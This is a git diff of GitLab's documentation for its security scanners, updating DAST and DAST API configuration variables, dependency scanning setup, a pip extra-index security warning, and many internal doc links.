+| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_USE_AJAX_SPIDER` <sup>1</sup> | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. |
+| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. |
+| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
+| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. |
+| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. |
+| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` |
+| `DAST_AUTH_EXCLUDE_URLS` | URLs | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289959)** in GitLab 14.0. Replaced by `DAST_EXCLUDE_URLS`. The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. |
+| `DAST_AGGREGATE_VULNERABILITIES` | boolean | Vulnerability aggregation is set to `true` by default. To disable this feature and see each vulnerability individually set to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254043) in GitLab 14.0. |
+| `DAST_MAX_URLS_PER_VULNERABILITY` | number | The maximum number of URLs reported for a single vulnerability. `DAST_MAX_URLS_PER_VULNERABILITY` is set to `50` by default. To list all the URLs set to `0`. [Introduced](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/433) in GitLab 13.12. |
+| `DAST_AUTH_REPORT` | boolean | Used in combination with exporting the `gl-dast-debug-auth-report.html` artifact to aid in debugging authentication issues. |
+| `DAST_AUTH_VERIFICATION_URL` <sup>1</sup> | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST exits if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. |
+| `DAST_AUTH_VERIFICATION_SELECTOR` | selector | Verifies successful authentication by checking for presence of a selector once the login form has been submitted. Example: `css:.user-photo` |
+| `DAST_AUTH_VERIFICATION_LOGIN_FORM` | boolean | Verifies successful authentication by checking for the lack of a login form once the login form has been submitted. |
+| `DAST_ADVERTISE_SCAN` | boolean | Set to `true` to add a `Via` header to every request sent, advertising that the request was sent as part of a GitLab DAST scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334947) in GitLab 14.1. |
+
+1. Available to an on-demand DAST scan.
#### Selectors
@@ -778,7 +838,8 @@ Chrome DevTools element selector tool is an effective way to find a selector.
![highlight](img/dast_auth_browser_scan_highlight.png)
1. Once highlighted, you can see the element's details, including attributes that would make a good candidate for a selector.
-In this example, the `id="user_login"` appears to be a good candidate. You can use this as a selector as the DAST username field by setting `DAST_USERNAME_FIELD: "css:[id=user_login]"`, or more simply, `DAST_USERNAME_FIELD: "id:user_login"`.
+In this example, the `id="user_login"` appears to be a good candidate. You can use this as a selector as the DAST username field by setting
+`DAST_USERNAME_FIELD: "id:user_login"`.
##### Choose the right selector
@@ -788,9 +849,9 @@ In order of preference, it is recommended to choose as selectors:
- `id` fields. These are generally unique on a page, and rarely change.
- `name` fields. These are generally unique on a page, and rarely change.
-- `class` values specific to the field, such as the selector `"css:.username"` for the `username` class on the username field.
+- `class` values specific to the field, such as the selector `"css:.username"` for the `username` class on the username field.
- Presence of field specific data attributes, such as the selector, `"css:[data-username]"` when the `data-username` field has any value on the username field.
-- Multiple `class` hierarchy values, such as the selector `"css:.login-form .username"` when there are multiple elements with class `username` but only one nested inside the element with the class `login-form`.
+- Multiple `class` hierarchy values, such as the selector `"css:.login-form .username"` when there are multiple elements with class `username` but only one nested inside the element with the class `login-form`.
When using selectors to locate specific fields we recommend you avoid searching on:
@@ -880,6 +941,8 @@ Debug mode of the ZAP server can be enabled using the `DAST_ZAP_LOG_CONFIGURATIO
The following table outlines examples of values that can be set and the effect that they have on the output that is logged.
Multiple values can be specified, separated by semicolons.
+For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG`.
+
| Log configuration value | Effect |
|-------------------------------------------------- | ----------------------------------------------------------------- |
| `log4j.rootLogger=DEBUG` | Enable all debug logging statements. |
@@ -901,8 +964,8 @@ To use DAST in an offline environment, you need:
- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisites).
- Docker Container Registry with a locally available copy of the DAST
- [container image](https://gitlab.com/gitlab-org/security-products/dast), found in the
- [DAST container registry](https://gitlab.com/gitlab-org/security-products/dast/container_registry).
+ [container image](https://gitlab.com/security-products/dast), found in the
+ [DAST container registry](https://gitlab.com/security-products/dast/container_registry).
Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
meaning the runner tries to pull Docker images from the GitLab container registry even if a local
@@ -915,7 +978,7 @@ enables the use of updated scanners in your CI/CD pipelines.
For DAST, import the following default DAST analyzer image from `registry.gitlab.com` to your [local Docker container registry](../../packages/container_registry/index.md):
-- `registry.gitlab.com/gitlab-org/security-products/dast:latest`
+- `registry.gitlab.com/security-products/dast:latest`
The process for importing Docker images into a local offline Docker registry depends on
**your network security policy**. Please consult your IT staff to find an accepted and approved
@@ -953,6 +1016,7 @@ Alternatively, you can use the CI/CD variable `SECURE_ANALYZERS_PREFIX` to overr
> - The saved scans feature was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/5100) in GitLab 13.9.
> - The option to select a branch was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/4847) in GitLab 13.10.
> - DAST branch selection [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/322672) in GitLab 13.11.
+> - Auditing for DAST profile management was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217872) in GitLab 14.1.
An on-demand DAST scan runs outside the DevOps life cycle. Changes in your repository don't trigger
the scan. You must start it manually.
@@ -1276,6 +1340,13 @@ If a scanner profile is linked to a security policy, a user cannot delete the pr
page. See [Scan Policies](../policies/index.md)
for more information.
+### Auditing
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217872) in GitLab 14.1.
+
+The creation, updating, and deletion of DAST profiles, DAST scanner profiles,
+and DAST site profiles are included in the [audit log](../../../administration/audit_events.md).
+
## Reports
The DAST tool outputs a report file in JSON format by default. However, this tool can also generate reports in
diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md
index 9a6e1e73330..48a784e0d03 100644
--- a/doc/user/application_security/dast_api/index.md
+++ b/doc/user/application_security/dast_api/index.md
@@ -7,11 +7,11 @@ type: reference, howto
# DAST API **(ULTIMATE)**
-You can add dynamic application security testing of web APIs to your [GitLab CI/CD](../../../ci/README.md) pipelines.
+You can add dynamic application security testing of web APIs to your [GitLab CI/CD](../../../ci/index.md) pipelines.
This helps you discover bugs and potential security issues that other QA processes may miss.
We recommend that you use DAST API testing in addition to [GitLab Secure](../index.md)'s
-other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/README.md),
+other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/index.md),
you can run DAST API tests as part your CI/CD workflow.
## Requirements
@@ -85,7 +85,7 @@ the body generation is limited to these body types:
Follow these steps to configure DAST API in GitLab with an OpenAPI specification:
-1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate)
+1. To use DAST API, you must [include](../../../ci/yaml/index.md#includetemplate)
the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
that's provided as part of your GitLab installation. Add the following to your
`.gitlab-ci.yml` file:
@@ -184,7 +184,7 @@ cookies. We recommend that you review the HAR file contents before adding them t
Follow these steps to configure DAST API to use a HAR file that provides information about the
target API to test:
-1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate)
+1. To use DAST API, you must [include](../../../ci/yaml/index.md#includetemplate)
the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
that's provided as part of your GitLab installation. To do so, add the following to your
`.gitlab-ci.yml` file:
@@ -284,7 +284,7 @@ them to a repository.
Follow these steps to configure DAST API to use a Postman Collection file that provides
information about the target API to test:
-1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate)
+1. To use DAST API, you must [include](../../../ci/yaml/index.md#includetemplate)
the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml)
that's provided as part of your GitLab installation. To do so, add the following to your
`.gitlab-ci.yml` file:
@@ -435,7 +435,7 @@ To use HTTP basic authentication, two CI/CD variables are added to your `.gitlab
- `DAST_API_HTTP_USERNAME`: The username for authentication.
- `DAST_API_HTTP_PASSWORD`: The password for authentication.
-For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables)
+For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables)
(for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the
GitLab projects page at **Settings > CI/CD**, in the **Variables** section. Use that variable
as the value for `DAST_API_HTTP_PASSWORD`:
@@ -473,7 +473,7 @@ outgoing HTTP requests.
Follow these steps to provide the bearer token with `DAST_API_OVERRIDES_ENV`:
-1. [Create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables),
+1. [Create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables),
for example `TEST_API_BEARERAUTH`, with the value
`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You
can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the
@@ -849,7 +849,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md
index fcefba943ad..9fc90c427c5 100644
--- a/doc/user/application_security/dependency_list/index.md
+++ b/doc/user/application_security/dependency_list/index.md
@@ -13,7 +13,7 @@ Use the dependency list to review your project's dependencies and key
details about those dependencies, including their known vulnerabilities. It is a collection of dependencies in your project, including existing and new findings. To see the dependency list, go to your project and select **Security & Compliance > Dependency List**.
This information is sometimes referred to as a Software Bill of Materials or SBoM / BOM.
-The dependency list only shows the results of the last successful pipeline to run on the default branch. This is why we recommend not changing the default behavior of allowing the secure jobs to fail.
+The dependency list only shows the results of the last successful pipeline to run on the default branch. This is why we recommend not changing the default behavior of allowing the secure jobs to fail.
## Prerequisites
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index 96fc085e7c6..76a14aae715 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -16,7 +16,7 @@ vulnerable. You can then take action to protect your application.
## Overview
-If you're using [GitLab CI/CD](../../../ci/README.md), you can use dependency scanning to analyze
+If you're using [GitLab CI/CD](../../../ci/index.md), you can use dependency scanning to analyze
your dependencies for known vulnerabilities. GitLab scans all dependencies, including transitive
dependencies (also known as nested dependencies). You can take advantage of dependency scanning by
either:
@@ -55,7 +55,7 @@ is **not** `19.03.0`. See [troubleshooting information](#error-response-from-dae
## Supported languages and package managers
-GitLab relies on [`rules`](../../../ci/yaml/README.md#rules) to start relevant analyzers depending on the languages detected in the repository.
+GitLab relies on [`rules`](../../../ci/yaml/index.md#rules) to start relevant analyzers depending on the languages detected in the repository.
The current detection logic limits the maximum search depth to two levels. For example, the `gemnasium-dependency_scanning` job is enabled if a repository contains either a `Gemfile` or `api/Gemfile` file, but not if the only supported dependency file is `api/client/Gemfile`.
The following languages and dependency managers are supported:
@@ -90,7 +90,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md)
## Configuration
To enable dependency scanning for GitLab 11.9 and later, you must
-[include](../../../ci/yaml/README.md#includetemplate) the
+[include](../../../ci/yaml/index.md#includetemplate) the
[`Dependency-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml)
that is provided as a part of your GitLab installation.
For GitLab versions earlier than 11.9, you can copy and use the job as defined
@@ -106,14 +106,39 @@ include:
The included template creates dependency scanning jobs in your CI/CD
pipeline and scans your project's source code for possible vulnerabilities.
The results are saved as a
-[dependency scanning report artifact](../../../ci/yaml/README.md#artifactsreportsdependency_scanning)
+[dependency scanning report artifact](../../../ci/yaml/index.md#artifactsreportsdependency_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest dependency scanning artifact available.
+### Enable Dependency Scanning via an automatic merge request
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4908) in GitLab 14.1.
+> - [Deployed behind a feature flag](../../../user/feature_flags.md), enabled by default.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-configure-dependency-scanning-via-a-merge-request). **(ULTIMATE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+There can be
+[risks when disabling released features](../../../user/feature_flags.md#risks-when-disabling-released-features).
+Refer to this feature's version history for more details.
+
+To enable Dependency Scanning in a project, you can create a merge request
+from the Security Configuration page.
+
+1. In the project where you want to enable Dependency Scanning, navigate to
+ **Security & Compliance > Configuration**.
+1. In the **Dependency Scanning** row, select **Configure via Merge Request**.
+
+This automatically creates a merge request with the changes necessary to enable Dependency Scanning
+that you can review and merge to complete the configuration.
+
### Customizing the dependency scanning settings
The dependency scanning settings can be changed through [CI/CD variables](#available-cicd-variables) by using the
-[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
+[`variables`](../../../ci/yaml/index.md#variables) parameter in `.gitlab-ci.yml`.
For example:
```yaml
@@ -124,14 +149,14 @@ variables:
SECURE_LOG_LEVEL: error
```
-Because template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline
+Because template is [evaluated before](../../../ci/yaml/index.md#include) the pipeline
configuration, the last mention of the variable takes precedence.
### Overriding dependency scanning jobs
WARNING:
-Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#only--except)
-is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
+Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/index.md#only--except)
+is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/index.md#rules) instead.
To override a job definition (for example, to change properties like `variables` or `dependencies`),
declare a new job with the same name as the one to override. Place this new job after the template
@@ -189,12 +214,12 @@ The following variables are used for configuring specific analyzers (used for a
| `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. |
| `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. |
| `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. |
-| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`, `16`. Maven and Gradle use the Java version specified by this value (Dependency Scanning for Gradle does not currently support Java `16`). |
+| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`, `16`. |
| `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repositories). |
| `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. |
| `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. |
| `PIP_INDEX_URL` | `gemnasium-python` | `https://pypi.org/simple` | Base URL of Python Package Index. |
-| `PIP_EXTRA_INDEX_URL` | `gemnasium-python` | | Array of [extra URLs](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-extra-index-url) of package indexes to use in addition to `PIP_INDEX_URL`. Comma-separated. |
+| `PIP_EXTRA_INDEX_URL` | `gemnasium-python` | | Array of [extra URLs](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-extra-index-url) of package indexes to use in addition to `PIP_INDEX_URL`. Comma-separated. **Warning:** Please read [the following security consideration](#python-projects) when using this environment variable. |
| `PIP_REQUIREMENTS_FILE` | `gemnasium-python` | | Pip requirements file to be scanned. |
| `DS_PIP_VERSION` | `gemnasium-python` | | Force the install of a specific pip version (example: `"19.3"`), otherwise the pip installed in the Docker image is used. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12811) in GitLab 12.7) |
| `DS_PIP_DEPENDENCY_PATH` | `gemnasium-python` | | Path to load Python pip dependencies from. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12412) in GitLab 12.2) |
@@ -217,7 +242,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Using private Maven repositories
@@ -552,6 +577,18 @@ gemnasium-dependency_scanning:
- tar -xzf gemnasium_db.tar.gz -C $GEMNASIUM_DB_LOCAL_PATH
```
+## Warnings
+
+### Python projects
+
+Extra care needs to be taken when using the [`PIP_EXTRA_INDEX_URL`](https://pipenv.pypa.io/en/latest/cli/#envvar-PIP_EXTRA_INDEX_URL)
+environment variable due to a possible exploit documented by [CVE-2018-20225](https://nvd.nist.gov/vuln/detail/CVE-2018-20225):
+
+> An issue was discovered in pip (all versions) because it installs the version with the highest version number, even if the user had
+intended to obtain a private package from a private index. This only affects use of the `PIP_EXTRA_INDEX_URL` option, and exploitation
+requires that the package does not already exist in the public index (and thus the attacker can put the package there with an arbitrary
+version number).
+
## Limitations
### Referencing local dependencies using a path in JavaScript projects
@@ -584,7 +621,7 @@ Generally, the approach is the following:
1. Define a dedicated converter job in your `.gitlab-ci.yml` file.
Use a suitable Docker image, script, or both to facilitate the conversion.
1. Let that job upload the converted, supported file as an artifact.
-1. Add [`dependencies: [<your-converter-job>]`](../../../ci/yaml/README.md#dependencies)
+1. Add [`dependencies: [<your-converter-job>]`](../../../ci/yaml/index.md#dependencies)
to your `dependency_scanning` job to make use of the converted definitions files.
For example, the currently unsupported `poetry.lock` file can be
@@ -631,7 +668,7 @@ For information on this, see the [general Application Security troubleshooting s
### Limitation when using rules:exists
The [dependency scanning CI template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml)
-uses the [`rules:exists`](../../../ci/yaml/README.md#rulesexists)
+uses the [`rules:exists`](../../../ci/yaml/index.md#rulesexists)
syntax. This directive is limited to 10000 checks and always returns `true` after reaching this
number. Because of this, and depending on the number of files in your repository, a dependency
scanning job might be triggered even if the scanner doesn't support your project.
@@ -644,3 +681,22 @@ with a dependency on this version of Python should use `retire.js` version 2.10.
### Error: `dependency_scanning is used for configuration only, and its script should not be executed`
For information on this, see the [GitLab Secure troubleshooting section](../index.md#error-job-is-used-for-configuration-only-and-its-script-should-not-be-executed).
+
+### Enable or disable Configure Dependency Scanning via a Merge Request
+
+Configure Dependency Scanning via a Merge Request is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can opt to disable it.
+
+To disable it:
+
+```ruby
+Feature.disable(:sec_dependency_scanning_ui_enable)
+```
+
+To enable it:
+
+```ruby
+Feature.enable(:sec_dependency_scanning_ui_enable)
+```
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index bf812b25b5f..616d2f8c790 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -33,16 +33,17 @@ GitLab uses the following tools to scan and report known vulnerabilities found i
| Secure scanning tool | Description |
|:-----------------------------------------------------------------------------|:-----------------------------------------------------------------------|
-| [Container Scanning](container_scanning/index.md) **(ULTIMATE)** | Scan Docker containers for known vulnerabilities. |
-| [Dependency List](dependency_list/index.md) **(ULTIMATE)** | View your project's dependencies and their known vulnerabilities. |
-| [Dependency Scanning](dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
-| [Dynamic Application Security Testing (DAST)](dast/index.md) **(ULTIMATE)** | Analyze running web applications for known vulnerabilities. |
-| [DAST API](dast_api/index.md) **(ULTIMATE)** | Analyze running web APIs for known vulnerabilities. |
-| [API fuzzing](api_fuzzing/index.md) **(ULTIMATE)** | Find unknown bugs and vulnerabilities in web APIs with fuzzing. |
-| [Secret Detection](secret_detection/index.md) | Analyze Git history for leaked secrets. |
-| [Security Dashboard](security_dashboard/index.md) **(ULTIMATE)** | View vulnerabilities in all your projects and groups. |
-| [Static Application Security Testing (SAST)](sast/index.md) | Analyze source code for known vulnerabilities. |
-| [Coverage fuzzing](coverage_fuzzing/index.md) **(ULTIMATE)** | Find unknown bugs and vulnerabilities with coverage-guided fuzzing. |
+| [Container Scanning](container_scanning/index.md) **(ULTIMATE)** | Scan Docker containers for known vulnerabilities. |
+| [Dependency List](dependency_list/index.md) **(ULTIMATE)** | View your project's dependencies and their known vulnerabilities. |
+| [Dependency Scanning](dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
+| [Dynamic Application Security Testing (DAST)](dast/index.md) **(ULTIMATE)** | Analyze running web applications for known vulnerabilities. |
+| [DAST API](dast_api/index.md) **(ULTIMATE)** | Analyze running web APIs for known vulnerabilities. |
+| [API fuzzing](api_fuzzing/index.md) **(ULTIMATE)** | Find unknown bugs and vulnerabilities in web APIs with fuzzing. |
+| [Secret Detection](secret_detection/index.md) | Analyze Git history for leaked secrets. |
+| [Security Dashboard](security_dashboard/index.md) **(ULTIMATE)** | View vulnerabilities in all your projects and groups. |
+| [Static Application Security Testing (SAST)](sast/index.md) | Analyze source code for known vulnerabilities. |
+| [Coverage fuzzing](coverage_fuzzing/index.md) **(ULTIMATE)** | Find unknown bugs and vulnerabilities with coverage-guided fuzzing. |
+| [Cluster Image Scanning](cluster_image_scanning/index.md) **(ULTIMATE)** | Scan Kubernetes clusters for known vulnerabilities. |
## Security scanning with Auto DevOps
@@ -99,7 +100,7 @@ the container-scanning analyzer which uses
### Use security scanning tools with Pipelines for Merge Requests
By default, the application security jobs are configured to run for branch pipelines only.
-To use them with [pipelines for merge requests](../../ci/merge_request_pipelines/index.md),
+To use them with [pipelines for merge requests](../../ci/pipelines/merge_request_pipelines.md),
you may need to override the default `rules:` configuration to add:
```yaml
@@ -129,7 +130,7 @@ All jobs are permitted to fail by default. This means that if they fail it do no
If you want to prevent vulnerabilities from being merged, you should do this by adding [Security Approvals in Merge Requests](#security-approvals-in-merge-requests) which prevents unknown, high or critical findings from being merged without an approval from a specific group of people that you choose.
-We do not recommend changing the job [`allow_failure` setting](../../ci/yaml/README.md#allow_failure) as that fails the entire pipeline.
+We do not recommend changing the job [`allow_failure` setting](../../ci/yaml/index.md#allow_failure) as that fails the entire pipeline.
### JSON Artifact
@@ -209,7 +210,6 @@ request contains a denied license. For more details, see [Enabling license appro
Prerequisites:
-- At least one [security scanner job](#security-scanning-tools) must be enabled.
- Maintainer or Owner [role](../permissions.md#project-members-permissions).
For this approval group, you must set the number of approvals required to greater than zero.
@@ -238,7 +238,7 @@ to pass a username and password. You can set it under your project's settings
so that your credentials aren't exposed in `.gitlab-ci.yml`.
If the username is `myuser` and the password is `verysecret` then you would
-[set the following variable](../../ci/variables/README.md#custom-cicd-variables)
+[set the following variable](../../ci/variables/index.md#custom-cicd-variables)
under your project's settings:
| Type | Key | Value |
@@ -358,7 +358,7 @@ You can do it quickly by following the hyperlink given to run a new pipeline.
### Getting error message `sast job: stage parameter should be [some stage name here]`
-When [including](../../ci/yaml/README.md#includetemplate) a `.gitlab-ci.yml` template
+When [including](../../ci/yaml/index.md#includetemplate) a `.gitlab-ci.yml` template
like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml),
the following error may occur, depending on your GitLab CI/CD configuration:
@@ -406,12 +406,12 @@ This is often followed by the [error `No files to upload`](../../ci/pipelines/jo
and preceded by other errors or warnings that indicate why the JSON report wasn't generated. Please
check the entire job log for such messages. If you don't find these messages, retry the failed job
after setting `SECURE_LOG_LEVEL: "debug"` as a
-[custom CI/CD variable](../../ci/variables/README.md#custom-cicd-variables).
+[custom CI/CD variable](../../ci/variables/index.md#custom-cicd-variables).
This provides useful information to investigate further.
### Getting error message `sast job: config key may not be used with 'rules': only/except`
-When [including](../../ci/yaml/README.md#includetemplate) a `.gitlab-ci.yml` template
+When [including](../../ci/yaml/index.md#includetemplate) a `.gitlab-ci.yml` template
like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml),
the following error may occur, depending on your GitLab CI/CD configuration:
@@ -422,7 +422,7 @@ Found errors in your .gitlab-ci.yml:
```
This error appears when the included job's `rules` configuration has been [overridden](sast/index.md#overriding-sast-jobs)
-with [the deprecated `only` or `except` syntax.](../../ci/yaml/README.md#only--except)
+with [the deprecated `only` or `except` syntax.](../../ci/yaml/index.md#only--except)
To fix this issue, you must either:
- [Transition your `only/except` syntax to `rules`](#transitioning-your-onlyexcept-syntax-to-rules).
@@ -433,8 +433,8 @@ To fix this issue, you must either:
#### Transitioning your `only/except` syntax to `rules`
When overriding the template to control job execution, previous instances of
-[`only` or `except`](../../ci/yaml/README.md#only--except) are no longer compatible
-and must be transitioned to [the `rules` syntax](../../ci/yaml/README.md#rules).
+[`only` or `except`](../../ci/yaml/index.md#only--except) are no longer compatible
+and must be transitioned to [the `rules` syntax](../../ci/yaml/index.md#rules).
If your override is aimed at limiting jobs to only run on `master`, the previous syntax
would look similar to:
@@ -490,11 +490,11 @@ spotbugs-sast:
- if: $CI_COMMIT_TAG == null
```
-[Learn more on the usage of `rules`](../../ci/yaml/README.md#rules).
+[Learn more on the usage of `rules`](../../ci/yaml/index.md#rules).
#### Pin your templates to the deprecated versions
-To ensure the latest support, we **strongly** recommend that you migrate to [`rules`](../../ci/yaml/README.md#rules).
+To ensure the latest support, we **strongly** recommend that you migrate to [`rules`](../../ci/yaml/index.md#rules).
If you're unable to immediately update your CI configuration, there are several workarounds that
involve pinning to the previous template versions, for example:
diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md
index 77a15a37c55..d87da15b4b0 100644
--- a/doc/user/application_security/offline_deployments/index.md
+++ b/doc/user/application_security/offline_deployments/index.md
@@ -108,7 +108,7 @@ example of such a transfer:
### Using the official GitLab template
-GitLab provides a [vendored template](../../../ci/yaml/README.md#includetemplate)
+GitLab provides a [vendored template](../../../ci/yaml/index.md#includetemplate)
to ease this process.
This template should be used in a new, empty project, with a `gitlab-ci.yml` file containing:
@@ -149,7 +149,7 @@ GitLab.com. To do so, set the CI/CD variable `SECURE_ANALYZERS_PREFIX` with the
project [container registry](../../packages/container_registry/index.md).
You can set this variable in the projects' `.gitlab-ci.yml`, or
-in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/README.md#custom-cicd-variables)
+in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/index.md#custom-cicd-variables)
for more information.
#### Variables
diff --git a/doc/user/application_security/policies/index.md b/doc/user/application_security/policies/index.md
index 92f0d6924b3..076872c9864 100644
--- a/doc/user/application_security/policies/index.md
+++ b/doc/user/application_security/policies/index.md
@@ -191,6 +191,10 @@ changes.
